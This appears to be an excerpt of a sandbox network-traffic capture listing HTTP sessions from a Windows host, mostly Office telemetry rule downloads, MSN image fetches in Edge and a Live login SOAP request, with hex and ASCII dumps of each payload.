2024-11-15 15:16:37 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 15:16:37 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA4037B0D" x-ms-request-id: 03bc4034-001e-00a2-3978-36d4d5000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T151637Z-164f84587bfgp2sdhC1DFWyhvn00000001sg000000000g5w x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-15 15:16:37 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120674" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120673" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
121	192.168.2.5	49912	23.38.189.114	443	7444	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-15 15:16:37 UTC	506	OUT	GET /tenant/amp/entityid/AA1cLbwq?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-15 15:16:37 UTC	547	IN	HTTP/1.1 200 OK Last-Modified: Wed, 30 Oct 2024 03:19:01 GMT Access-Control-Allow-Origin: * X-Datacenter: westus X-ActivityId: 2833025f-5808-402a-9d36-83e5a63a6a15 Timing-Allow-Origin: * X-Frame-Options: DENY X-ResizerVersion: 1.0 Content-Type: image/jpeg Content-Location: https://img.s-msn.com/tenant/amp/entityid/AA1cLbwq?w=168&h=168&q=60&m=6&f=jpg&u=t X-Source-Length: 822 Content-Length: 4096 Cache-Control: public, max-age=173099 Expires: Sun, 17 Nov 2024 15:21:36 GMT Date: Fri, 15 Nov 2024 15:16:37 GMT Connection: close
2024-11-15 15:16:37 UTC	4096	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff c0 00 11 08 00 a8 00 a8 03 01 11 00 02 11 01 03 11 01 ff c4 01 a2 00 00 01 05 01 01 01 01 01 01 00 00 00 00 00 00 00 00 01 02 03 04 05 06 07 08 09 0a 0b 10 00 02 01 03 03 02 04 03 05 05 04 04 00 00 01 7d 01 02 03 00 04 11 05 12 21 31 41 06 13 51 61 07 22 71 14 32 81 91 a1 08 23 42 b1 c1 15 52 d1 f0 24 33 62 72 82 09 0a 16 17 18 19 1a 25 26 27 28 29 2a 34 35 36 37 38 39 3a 43 44 45 46 47 48 49 4a 53 54 55 56 57 58 59 5a 63 64 65 66 67 68 69 6a 73 74 75 76 77 78 79 7a 83 84 85 86 87 88 89 8a 92 93 94 95 96 97 98 99 9a a2 a3 a4 a5 a6 a7 a8 a9 aa b2 b3 b4 b5 b6 b7 b8 b9 ba c2 c3 c4 c5 c6 c7 c8 c9 ca d2 d3 d4 d5 d6 d7 d8 d9 da e1 e2 e3 e4 e5 e6 e7 e8 e9 ea f1 f2 f3 f4 f5 f6 f7 f8 f9 fa 01 00 03 01 Data Ascii: JFIF``}!1AQa"q2#BR$3br%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
122	192.168.2.5	49906	40.126.31.71	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 15:16:37 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 3592 Host: login.live.com
2024-11-15 15:16:37 UTC	3592	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-11-15 15:16:38 UTC	653	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Fri, 15 Nov 2024 15:15:37 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" FdrTelemetry: &481=21&59=33&213=10&215=0&315=1&215=0&315=1&214=56&288=16.0.30405.9 Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C521_BAY x-ms-request-id: 66de6fd5-f7ad-44f5-b631-7b8bc10a8f1b PPServer: PPV: 30 H: PH1PEPF0001B868 V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Fri, 15 Nov 2024 15:16:37 GMT Connection: close Content-Length: 11392
2024-11-15 15:16:38 UTC	11392	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port
123	192.168.2.5	49914	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 15:16:38 UTC	192	OUT	GET /rules/rule120675v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 15:16:38 UTC	491	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 15:16:38 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:08 GMT ETag: "0x8DC582BA6CF78C8" x-ms-request-id: fa98855d-501e-0064-4540-361f54000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T151638Z-1866b5c5fbbvz6qbhC1DFWsyms00000000kg00000000kce2 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-15 15:16:38 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 55 75 5d 5b 50 70 5d 5b 43 63 5d 5b 4c 6c 5d 5b 4f 6f 5d 5b 55 75 5d 5b 44 64 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120675" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120673" /> <SR T="2" R="([Uu][Pp][Cc][Ll][Oo][Uu][Dd])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
124	192.168.2.5	49915	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 15:16:38 UTC	192	OUT	GET /rules/rule120676v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 15:16:38 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 15:16:38 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B984BF177" x-ms-request-id: 598b0884-401e-005b-48af-369c0c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T151638Z-16547b76f7ftdm8dhC1DFWs13g0000000n5g00000000r31x x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-15 15:16:38 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120676" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120675" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
125	192.168.2.5	49916	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 15:16:38 UTC	192	OUT	GET /rules/rule120677v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 15:16:38 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 15:16:38 GMT Content-Type: text/xml Content-Length: 405 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:37 GMT ETag: "0x8DC582B942B6AFF" x-ms-request-id: 840ef35f-001e-000b-44a8-3615a7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T151638Z-16547b76f7fd4rc5hC1DFWkzhw00000001sg00000000dvw1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-15 15:16:38 UTC	405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5e 5b 58 78 5d 5b 45 65 5d 5b 4e 6e 5d 24 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120677" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120675" /> <SR T="2" R="(^[Xx][Ee][Nn]$)"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
126	192.168.2.5	49918	23.38.189.114	443	7444	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-15 15:16:38 UTC	506	OUT	GET /tenant/amp/entityid/AA1sFuPI?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-15 15:16:38 UTC	549	IN	HTTP/1.1 200 OK Last-Modified: Wed, 23 Oct 2024 20:31:12 GMT Content-Type: image/jpeg Access-Control-Allow-Origin: * Content-Location: https://img.s-msn.com/tenant/amp/entityid/AA1sFuPI?w=168&h=168&q=60&m=6&f=jpg&u=t X-Source-Length: 17955 X-Datacenter: eastap X-ActivityId: 53621c4b-f6ac-4e45-8979-9690752d9442 Timing-Allow-Origin: * X-Frame-Options: DENY X-ResizerVersion: 1.0 Content-Length: 8192 Cache-Control: public, max-age=407764 Expires: Wed, 20 Nov 2024 08:32:42 GMT Date: Fri, 15 Nov 2024 15:16:38 GMT Connection: close
2024-11-15 15:16:38 UTC	8192	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff c0 00 11 08 00 a8 00 a8 03 01 11 00 02 11 01 03 11 01 ff c4 01 a2 00 00 01 05 01 01 01 01 01 01 00 00 00 00 00 00 00 00 01 02 03 04 05 06 07 08 09 0a 0b 10 00 02 01 03 03 02 04 03 05 05 04 04 00 00 01 7d 01 02 03 00 04 11 05 12 21 31 41 06 13 51 61 07 22 71 14 32 81 91 a1 08 23 42 b1 c1 15 52 d1 f0 24 33 62 72 82 09 0a 16 17 18 19 1a 25 26 27 28 29 2a 34 35 36 37 38 39 3a 43 44 45 46 47 48 49 4a 53 54 55 56 57 58 59 5a 63 64 65 66 67 68 69 6a 73 74 75 76 77 78 79 7a 83 84 85 86 87 88 89 8a 92 93 94 95 96 97 98 99 9a a2 a3 a4 a5 a6 a7 a8 a9 aa b2 b3 b4 b5 b6 b7 b8 b9 ba c2 c3 c4 c5 c6 c7 c8 c9 ca d2 d3 d4 d5 d6 d7 d8 d9 da e1 e2 e3 e4 e5 e6 e7 e8 e9 ea f1 f2 f3 f4 f5 f6 f7 f8 f9 fa 01 00 03 01 Data Ascii: JFIF``}!1AQa"q2#BR$3br%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz

Session ID	Source IP	Source Port	Destination IP	Destination Port
127	192.168.2.5	49917	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 15:16:38 UTC	192	OUT	GET /rules/rule120678v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 15:16:38 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 15:16:38 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA642BF4" x-ms-request-id: 46cd4d21-b01e-0097-7b90-364f33000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T151638Z-16547b76f7f7lhvnhC1DFWa2k00000000n9g000000003fvg x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-15 15:16:38 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120678" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120677" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
128	192.168.2.5	49919	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 15:16:38 UTC	192	OUT	GET /rules/rule120679v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 15:16:38 UTC	491	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 15:16:38 GMT Content-Type: text/xml Content-Length: 174 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:33 GMT ETag: "0x8DC582B91D80E15" x-ms-request-id: 49ec1b2f-d01e-00ad-3aaf-36e942000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T151638Z-16547b76f7ftdm8dhC1DFWs13g0000000nc00000000023bg x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-15 15:16:38 UTC	174	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 37 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 54 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 31 22 20 2f 3e 0d 0a 20 20 3c 2f 54 3e 0d 0a 3c 2f 52 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120679" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120677" /> </S> <T> <S T="1" /> </T></R>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
129	192.168.2.5	49924	23.38.189.114	443	7444	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-15 15:16:39 UTC	505	OUT	GET /tenant/amp/entityid/AAAAWUx?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-15 15:16:39 UTC	548	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Last-Modified: Sun, 10 Nov 2024 13:37:27 GMT X-Datacenter: eastus X-ActivityId: 646f7dcc-ee57-4b8a-81bd-4a4fe061e30b Timing-Allow-Origin: * X-Frame-Options: deny X-ResizerVersion: 1.0 Content-Type: image/jpeg Content-Location: https://img.s-msn.com/tenant/amp/entityid/AAAAWUx?w=168&h=168&q=60&m=6&f=jpg&u=t X-Source-Length: 62552 Content-Length: 8192 Cache-Control: public, max-age=382890 Expires: Wed, 20 Nov 2024 01:38:09 GMT Date: Fri, 15 Nov 2024 15:16:39 GMT Connection: close
2024-11-15 15:16:39 UTC	8192	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff c0 00 11 08 00 a8 00 a8 03 01 11 00 02 11 01 03 11 01 ff c4 01 a2 00 00 01 05 01 01 01 01 01 01 00 00 00 00 00 00 00 00 01 02 03 04 05 06 07 08 09 0a 0b 10 00 02 01 03 03 02 04 03 05 05 04 04 00 00 01 7d 01 02 03 00 04 11 05 12 21 31 41 06 13 51 61 07 22 71 14 32 81 91 a1 08 23 42 b1 c1 15 52 d1 f0 24 33 62 72 82 09 0a 16 17 18 19 1a 25 26 27 28 29 2a 34 35 36 37 38 39 3a 43 44 45 46 47 48 49 4a 53 54 55 56 57 58 59 5a 63 64 65 66 67 68 69 6a 73 74 75 76 77 78 79 7a 83 84 85 86 87 88 89 8a 92 93 94 95 96 97 98 99 9a a2 a3 a4 a5 a6 a7 a8 a9 aa b2 b3 b4 b5 b6 b7 b8 b9 ba c2 c3 c4 c5 c6 c7 c8 c9 ca d2 d3 d4 d5 d6 d7 d8 d9 da e1 e2 e3 e4 e5 e6 e7 e8 e9 ea f1 f2 f3 f4 f5 f6 f7 f8 f9 fa 01 00 03 01 Data Ascii: JFIF``}!1AQa"q2#BR$3br%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz

Session ID	Source IP	Source Port	Destination IP	Destination Port
130	192.168.2.5	49921	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 15:16:39 UTC	192	OUT	GET /rules/rule120680v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 15:16:39 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 15:16:39 GMT Content-Type: text/xml Content-Length: 1952 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:39 GMT ETag: "0x8DC582B956B0F3D" x-ms-request-id: 05e9aefb-801e-00ac-4740-36fd65000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T151639Z-16547b76f7fgvq8chC1DFWhd2w000000021000000000f6xb x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-15 15:16:39 UTC	1952	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 31 22 20 47 3d 22 7b 62 31 36 37 36 61 63 33 2d 37 66 65 65 2d 34 34 61 39 2d 39 61 30 65 2d 64 62 62 30 62 34 39 36 65 66 61 35 7d 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 38 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 33 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 4c 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120680" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <SS T="1" 